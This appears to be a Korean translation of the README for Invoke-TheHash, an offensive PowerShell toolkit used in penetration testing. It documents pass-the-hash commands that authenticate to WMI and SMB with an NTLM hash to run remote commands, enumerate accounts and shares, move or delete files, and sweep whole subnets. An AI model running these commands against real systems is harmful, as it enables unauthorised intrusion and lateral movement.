Invoke-TheHash
Invoke-TheHash는 pass the hash WMI 및 SMB 작업을 수행하기 위한 PowerShell 함수를 포함합니다. WMI 및 SMB 연결은 .NET TCPClient를 통해 액세스됩니다. 인증은 NTLM 해시를 NTLMv2 인증 프로토콜에 전달하여 수행됩니다. 클라이언트 측에서 로컬 관리자 권한이 필요하지 않습니다.
요구 사항
최소 PowerShell 2.0
가져오기
Import-Module ./Invoke-TheHash.psd1
또는
. ./Invoke-WMIExec.ps1
. ./Invoke-SMBExec.ps1
. ./Invoke-SMBEnum.ps1
. ./Invoke-SMBClient.ps1
. ./Invoke-TheHash.ps1
함수
- Invoke-WMIExec
- Invoke-SMBExec
- Invoke-SMBEnum
- Invoke-SMBClient
- Invoke-TheHash
Invoke-WMIExec
매개변수:
- Target - 대상의 호스트 이름 또는 IP 주소.
- Username - 인증에 사용할 사용자 이름.
- Domain - 인증에 사용할 도메인. 로컬 계정이거나 사용자 이름 뒤에 @domain을 사용하는 경우 이 매개변수는 필요하지 않습니다.
- Hash - 인증을 위한 NTLM 암호 해시. 이 함수는 LM:NTLM 또는 NTLM 형식을 허용합니다.
- Command - 대상에서 실행할 명령. 명령이 지정되지 않은 경우 함수는 사용자 이름과 해시가 대상의 WMI에 액세스할 수 있는지만 확인합니다.
- Sleep - 기본값 = 10밀리초: 함수의 Start-Sleep 값을 밀리초 단위로 설정합니다.
예시:
Invoke-WMIExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "실행할 명령 또는 런처" -verbose
스크린샷:

Invoke-SMBExec
- SMB1, SMB2.1 및 SMB 서명 유무에 관계없이 SMB(PsExec) 명령 실행 함수.
매개변수:
- Target - 대상의 호스트 이름 또는 IP 주소.
- Username - 인증에 사용할 사용자 이름.
- Domain - 인증에 사용할 도메인. 로컬 계정이거나 사용자 이름 뒤에 @domain을 사용하는 경우 이 매개변수는 필요하지 않습니다.
- Hash - 인증을 위한 NTLM 암호 해시. 이 함수는 LM:NTLM 또는 NTLM 형식을 허용합니다.
- Command - 대상에서 실행할 명령. 명령이 지정되지 않은 경우 함수는 사용자 이름과 해시가 대상의 SCM에 액세스할 수 있는지만 확인합니다.
- CommandCOMSPEC - 기본값 = 활성화: %COMSPEC% /C를 Command 앞에 추가합니다.
- Service - 기본값 = 20자 임의: 대상에서 생성 및 삭제할 서비스의 이름.
- Sleep - 기본값 = 150밀리초: 함수의 Start-Sleep 값을 밀리초 단위로 설정합니다.
- Version - 기본값 = Auto: (Auto,1,2.1) SMB 버전을 강제로 지정합니다. 기본 동작은 SMB 버전 협상을 수행하고 대상이 지원하는 경우 SMB2.1을 사용하는 것입니다.
예시:
Invoke-SMBExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "실행할 명령 또는 런처" -verbose
예시:
대상의 SMB 서명 요구 사항 확인.
Invoke-SMBExec -Target 192.168.100.20
스크린샷:

Invoke-SMBEnum
- Invoke-SMBEnum은 SMB2.1에서 SMB 서명 유무에 관계없이 사용자, 그룹, NetSession 및 공유 열거 작업을 수행합니다.
매개변수:
- Target - 대상의 호스트 이름 또는 IP 주소.
- Username - 인증에 사용할 사용자 이름.
- Domain - 인증에 사용할 도메인. 로컬 계정이거나 사용자 이름 뒤에 @domain을 사용하는 경우 이 매개변수는 필요하지 않습니다.
- Hash - 인증을 위한 NTLM 암호 해시. 이 함수는 LM:NTLM 또는 NTLM 형식을 허용합니다.
- Action - (All,Group,NetSession,Share,User) 기본값 = Share: 수행할 열거 작업.
- Group - 기본값 = Administrators: 열거할 그룹.
- Sleep - 기본값 = 150밀리초: 함수의 Start-Sleep 값을 밀리초 단위로 설정합니다.
- Version - 기본값 = Auto: (Auto,1,2.1) SMB 버전을 강제로 지정합니다. 기본 동작은 SMB 버전 협상을 수행하고 대상이 지원하는 경우 SMB2.1을 사용하는 것입니다. 참고, 서명 확인만 SMB1에서 작동합니다.
예시:
Invoke-SMBEnum -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -verbose
스크린샷:

Invoke-SMBClient
- SMB2.1 및 SMB 서명을 지원하는 SMB 클라이언트 함수. 이 함수는 주로 원격 명령 실행 권한이 없는 해시로 작업하기 위한 SMB 파일 공유 기능을 제공합니다. 이 함수는 Invoke-WMIExec 및 Invoke-SMBExec와 함께 사용할 페이로드를 준비하는 데에도 사용할 수 있습니다. Invoke-SMBClient는 .NET TCPClient를 기반으로 구축되었으며 Windows SMB 클라이언트를 사용하지 않습니다. Invoke-SMBClient는 Windows 클라이언트보다 훨씬 느립니다.
매개변수:
- Username - 인증에 사용할 사용자 이름.
- Domain - 인증에 사용할 도메인. 로컬 계정이거나 사용자 이름 뒤에 @domain을 사용하는 경우 이 매개변수는 필요하지 않습니다.
- Hash - 인증을 위한 NTLM 암호 해시. 이 함수는 LM:NTLM 또는 NTLM 형식을 허용합니다.
- Action - 기본값 = List: (List/Recurse/Delete/Get/Put) 수행할 작업.
-
-
- Recurse: 디렉터리와 모든 하위 디렉터리의 내용을 나열합니다.
-
-
-
- Put: 파일을 업로드하고 생성, 액세스 및 마지막 쓰기 시간을 원본 파일과 일치하도록 설정합니다.
- Source
-
- List 및 Recurse: 디렉터리의 UNC 경로.
-
-
-
- Put: 업로드할 파일. 전체 경로를 지정하지 않으면 파일이 현재 디렉터리에 있어야 합니다. 'Modify' 스위치를 사용하는 경우 'Source'는 바이트 배열이어야 합니다.
- Destination
-
-
-
- Get: 사용하는 경우 값은 다운로드된 파일의 새 파일 이름이 됩니다. 전체 경로를 지정하지 않으면 파일이 현재 디렉터리에 생성됩니다.
-
- Put: 업로드된 파일의 UNC 경로. 파일 이름을 지정해야 합니다.
- Modify
-
- List 및 Recurse: 함수는 디렉터리 내용으로 구성된 개체를 출력합니다.
-
-
- Get: 함수는 파일을 디스크에 쓰는 대신 다운로드된 파일의 바이트 배열을 출력합니다. 더 작은 파일에만 사용하고 출력을 변수로 보내는 것이 좋습니다.
-
- Put: 바이트 배열을 새 대상 파일에 업로드합니다.
- NoProgress - 업로드 및 다운로드 진행률 표시줄을 표시하지 않습니다.
- Sleep - 기본값 = 100밀리초: 함수의 Start-Sleep 값을 밀리초 단위로 설정합니다.
- Version - 기본값 = Auto: (Auto,1,2.1) SMB 버전을 강제로 지정합니다. 기본 동작은 SMB 버전 협상을 수행하고 대상이 지원하는 경우 SMB2.1을 사용하는 것입니다. 참고, 서명 확인만 SMB1에서 작동합니다.
예시:
루트 공유 디렉터리의 내용을 나열합니다.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Source \\server\share -verbose
예시:
루트에서 시작하여 공유 내용을 재귀적으로 나열합니다.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Recurse -Source \\server\share
예시:
공유 하위 디렉터리의 내용을 재귀적으로 나열하고 내용 출력만 변수로 반환합니다.
$directory_contents = Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Recurse -Source \\server\share\subdirectory -Modify
예시:
공유에서 파일을 삭제합니다.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Delete -Source \\server\share\file.txt
예시:
공유 내 하위 디렉터리에서 파일을 삭제합니다.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Delete -Source \\server\share\subdirectory\subdirectory\file.txt
예시:
공유에서 파일을 다운로드합니다.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Get -Source \\server\share\file.txt
예시:
공유 하위 디렉터리 내에서 파일을 다운로드하고 새 파일 이름을 설정합니다.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Get -Source \\server\share\subdirectory\file.txt -Destination file.txt
예시:
공유에서 파일을 디스크 대신 바이트 배열 변수로 다운로드합니다.
$password_file = Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Get -Source \\server\share\file.txt -Modify
예시:
공유 하위 디렉터리에 파일을 업로드합니다.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Put -Source file.exe -Destination \\server\share\subdirectory\file.exe
예시:
바이트 배열 변수에서 공유로 파일을 업로드합니다.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Put -Source $file_byte_array -Destination \\server\share\file.txt -Modify
스크린샷:

Invoke-TheHash
- 여러 대상에 대해 Invoke-TheHash 함수를 실행하는 함수.
매개변수:
- Type - 원하는 Invoke-TheHash 함수를 설정합니다. SMBClient, SMBEnum, SMBExec 또는 WMIExec로 설정합니다.
- Target - 대상의 호스트 이름, IP 주소, CIDR 표기법 또는 IP 범위 목록.
- TargetExclude - 목록 또는 대상에서 제외할 호스트 이름, IP 주소, CIDR 표기법 또는 IP 범위 목록.
- PortCheckDisable - (스위치) WMI 또는 SMB 포트 검사를 비활성화합니다. 이 함수는 아직 스레드되지 않았기 때문에 포트 검사는 동기식 TCPClient 연결을 시도하기 전에 열린 WMI 또는 SMB 포트가 있는지 확인하여 함수 속도를 높이는 역할을 합니다.
- PortCheckTimeout - 기본값 = 100: WMI 또는 SMB 포트 검사에 대한 응답 없음 시간 제한을 밀리초 단위로 설정합니다.
- Username - 인증에 사용할 사용자 이름.
- Domain - 인증에 사용할 도메인. 로컬 계정이거나 사용자 이름 뒤에 @domain을 사용하는 경우 이 매개변수는 필요하지 않습니다.
- Hash - 인증을 위한 NTLM 암호 해시. 이 모듈은 LM:NTLM 또는 NTLM 형식을 허용합니다.
- Command - 대상에서 실행할 명령. 명령이 지정되지 않은 경우 함수는 사용자 이름과 해시가 대상의 WMI 또는 SCM에 액세스할 수 있는지만 확인합니다.
- CommandCOMSPEC - 기본값 = 활성화: SMBExec 유형만 해당. %COMSPEC% /C를 Command 앞에 추가합니다.
- Service - 기본값 = 20자 임의: SMBExec 유형만 해당. 대상에서 생성 및 삭제할 서비스의 이름.
- SMB1 - (스위치) SMB1을 강제로 사용합니다. SMBExec 유형만 해당. 기본 동작은 SMB 버전 협상을 수행하고 대상이 지원하는 경우 SMB2를 사용하는 것입니다.
- Sleep - 기본값 = WMI 10밀리초, SMB 150밀리초: 함수의 Start-Sleep 값을 밀리초 단위로 설정합니다.
예시:
Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0
스크린샷:
